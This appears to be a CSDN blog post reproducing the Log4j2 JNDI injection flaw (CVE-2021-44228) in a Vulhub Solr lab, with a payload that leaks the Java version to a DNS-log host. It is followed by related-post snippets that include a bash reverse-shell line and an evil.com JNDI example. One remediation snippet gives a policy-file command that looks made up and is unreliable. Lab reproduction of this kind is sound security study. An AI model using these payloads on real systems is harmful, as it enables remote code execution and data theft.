log4j2-CVE-2021-44228-漏洞复现

已于 2023-01-13 16:20:24 修改
阅读量327 收藏
点赞数
分类专栏： 渗透测试 文章标签： log4j 安全 web安全
于 2023-01-13 16:18:48 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_18831583/article/details/128675734
版权
文章详细介绍了Log4j2组件存在的JNDI注入漏洞原理，该漏洞允许攻击者通过特殊payload执行恶意代码。使用Vulhub的Docker环境，读者可以重现这一漏洞，通过访问特定URL并观察DNSlog确认漏洞成功利用。
摘要由CSDN通过智能技术生成

漏洞原理

Log4j 2是Apache的一个日志处理组件，在2.14.1前的版本存在JNDI注入漏洞。由于没有对日志进行充分的过滤，导致攻击者使用 ${} 关键标识符触发 JNDI 注入漏洞，当程序将用户输入的数据进行日志记录时，即可触发此漏洞，成功利用此漏洞可以在目标服务器上执行恶意代码。

环境搭建

使用vulhub

地址：https://github.com/vulhub/vulhub
cd /vulhub/log4j/CVE-2021-44228
docker-compose up -d

即可访问：http://127.0.0.1:8983/solr/#/

生成dnslog地址，如：pwq9mw.dnslog.cn

构造payload

http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.pwq9mw.dnslog.cn}

直接访问payload

查看dnslog，已被解析，复现成功

Fresh-eyes
关注
专栏目录
log4j2 CVE-2021-44228漏洞复现
qq_14902381的博客
08-10 747
vulfocus靶场log4j2 漏洞CVE-2021-44228复现
log4j2漏洞复现(CVE-2021-44228)
weixin_45585955的博客
05-11 7497
一、原理介绍 由于Log4j2组件在处理程序日志记录时存在JNDI注入缺陷，未经授权的攻击者利用该漏洞，可向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。 二、vulfocus靶场安装 docker pull vulfocus/vulfocus:latest docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.16..
log4j2漏洞复现 (CVE-2021-44228)
m0_59958467的博客
10-29 942
log4j2漏洞复现 (CVE-2021-44228)
Log4j2远程代码执行漏洞
最新发布
2301_82000839的博客
07-08 979
log4j2漏洞是java应用常见开源日志库，是一个就Java的日志记录工具Apache Log4j2中存在JNDI注入漏洞，主要原理是利用log4j2的日志输出JNDI远程对象时,调用远程对象没做检查导致，程序将用户输入的数据进行日志记录时即可触发该漏洞并可在目标服务器上执行任意代码。该漏洞利用过程需要找到一个能触发远程加载并应用配置的输入点，迫使服务器远程加载和修改配置的前提下使目标系统通过JNDI远程获取数据库源，触发攻击者的恶意代码。
CVE-2021-44228漏洞复现
m0_65764670的博客
05-29 1704
此漏洞为log4j2漏洞，log4j2是java语言的日志处理套件，使用很广泛。在2.0到2.14.1版本中存在JNDI注入漏洞，攻击者在可以控制日志内容的情况下，通过传入类似'${jndi:ldap://evil.com/example}'​的参数进行JNDI注入，执行任意代码（注：Java环境1.8也可能会存在）什么是JNDI?
Log4j2—CVE-2021-44228漏洞复现
oiadkt的博客
04-10 507
Log4j2—CVE-2021-44228漏洞复现
log4j 漏洞CVE-2021-44228 漏洞复现
kyliuw的博客
03-08 6081
log4j 漏洞CVE-2021-44228 漏洞复现
log4j2漏洞原理分析及复现-CVE-2021-44228 （vulfocus靶场）
yang1234567898的博客
04-18 3219
搭建靶场： docker pull vulfocus/log4j2-rce-2021-12-09 //拉取靶场镜像 docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09 //运行靶场镜像 搭建成功！ 利用漏洞 已经漏洞存在的情况下，构造攻击payload执行命令反弹shell bash -i >& /dev/tcp/192.168.96.166/1234 0>&1 由于...
Log4j2远程代码执行漏洞复现(cve-2021-44228)
weixin_47179815的博客
07-12 1万+
Log4j2远程代码执行漏洞(cve-2021-44228)复现笔记内容Apache log4j是Apache的一个开源项目，Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架，并且引入了大量丰富的特性，可以控制日志信息输送的目的地为控制台、文件、GUI组建等，被应用于业务系统开发，用于记录程序输入输出日志信息。log4j2中存在JNDI注入漏洞，当程序记录用户输入的数据时，即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。JNDI简单介绍JNDI(Java Na
Apache Log4j2远程代码执行漏洞（CVE-2021-44228）复现
qq_40640917的博客
01-10 2521
Apache Log4j2 存在远程代码执行漏洞，该漏洞是由于Apache Log4j2某些功能存在递归解析功能，未经身份验证的攻击者通过发送特定恶意数据包，可在目标服务器上执行任意代码。Apache Log4j2是一个开源的Java日志框架，被广泛地应用在中间件、开发框架与Web应用中。攻击机参数：Kali（或安装有msfconsole的任意Linux/Windows操作系统）靶机容器：vulfocus/log4j2-rce-2021-12-09。靶机参数：Centos8.1。
Log4j2漏洞复现（CVE-2021-44228）
热门推荐
qq_43798640的博客
12-15 3万+
Apache Log4j是一个基于Java的日志记录组件，通过重写Log4j引入了丰富的功能特性，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息。Apache Log4j2存在远程代码执行漏洞，攻击者可利用该漏洞向目标服务器发送精心构造的恶意数据，触发Log4j2组件解析缺陷，实现目标服务器的任意代码执行，获得目标服务器权限。影响范围：Apache Log4j 2.x<=2.14.1。已知受影响的应用及组件，如 spring-boot-strater-log4...
Log4j2远程代码执行漏洞(cve-2021-44228)复现
citytwilight的博客
05-22 2758
Log4j2远程代码执行漏洞(cve-2021-44228)复现(反弹shell)
log4j2远程代码执行漏洞复现（CVE-2021-44228）
Wshchf的博客
06-04 669
Apache log4j2—RCE 漏洞是由于Log4j2 提供的lookup功能下的jndi Lookup模块出现问题所导致的，该功能模块在输出日志信息时允许开发人员通过相应的协议去请求远程主机上的资源。而开发人员在处理数据时，并没有对用户输入的数据进行判断，导致Log4j2 请求远程主机上含有恶意代码的资源并执行其中的代码，从而造成远程代码执行漏洞。log4j2框架下的lookup查询服务提供了{}字段解析功能，传进去的值会被直接解析。例如${java:version}会被替换为对应的java版本。
CVE-2021-44228——Log4j2-RCE漏洞复现
Li-D的博客
06-10 1817
Apache Log4j2是一个Java的日志组件，在特定的版本中由于其启用了lookup功能，从而导致产生远程代码执行漏洞。
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞
Jietewang的博客
12-19 9149
复现CVE-2021-44228-Apache Log4j2远程代码执行漏洞 目录 前言 漏洞原理 影响范围 环境搭建&漏洞复现 使用工具JNDIExploit-1.2-SNAPSHOT.jar 前言 近期Apache Log4j2被暴露了一个严重的远程代码执行安全漏洞（CVE-2021-44228），有严重的安全风险。Apache Log4j2是一款优秀的Java日志框架， 被广泛地应用在中间件、开发框架与Web应用中。2021年11月24日，阿里云安全团队向apache官方.
【vulhub】Log4j2：CVE-2021-44228漏洞复现
weixin_49422491的博客
09-13 2964
【vulhub】Log4j2：CVE-2021-44228漏洞复现
apache log4j CVE-2021-44228漏洞怎么解决
06-03
漏洞描述： Apache Log4j 2.x中存在一种命令注入漏洞，攻击者通过构造恶意日志信息，可以在目标服务器上执行任意命令。 解决办法： 1.升级到最新版本 Apache Log4j 2.x发布了修复此漏洞的版本2.17.0，建议用户尽快升级到该版本。 2.使用安全策略文件 在升级之前，可以通过使用安全策略文件来限制日志信息中使用的类和方法，以减少攻击面。可以使用以下命令生成策略文件： ``` java -Dlog4j2.formatMsgNoLookups=true -Dlog4j2.disable.jmx=true -Dlog4j2.benchMillis=100 org.apache.logging.log4j.core.tools.GenerateExtendedLoggerInfo > log4j2-enum-class-loader.policy ``` 然后将策略文件放置在类路径下，例如在Tomcat中，可以将其放置在`$CATALINA_BASE/conf`目录下。 3.禁用Log4j JNDI Lookup功能 如果无法立即升级，可以通过在JVM参数中添加以下选项来禁用Log4j JNDI Lookup功能： ``` -Dlog4j2.formatMsgNoLookups=true ``` 或者在log4j2.xml配置文件中添加以下选项： ``` <Configuration> <properties> <property name="log4j2.formatMsgNoLookups">true</property> </properties> ... </Configuration> ``` 以上是针对Apache Log4j 2.x的解决办法，如果您使用的是其他版本的Log4j，请查看厂商的官方文档或者联系技术支持获取解决办法。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值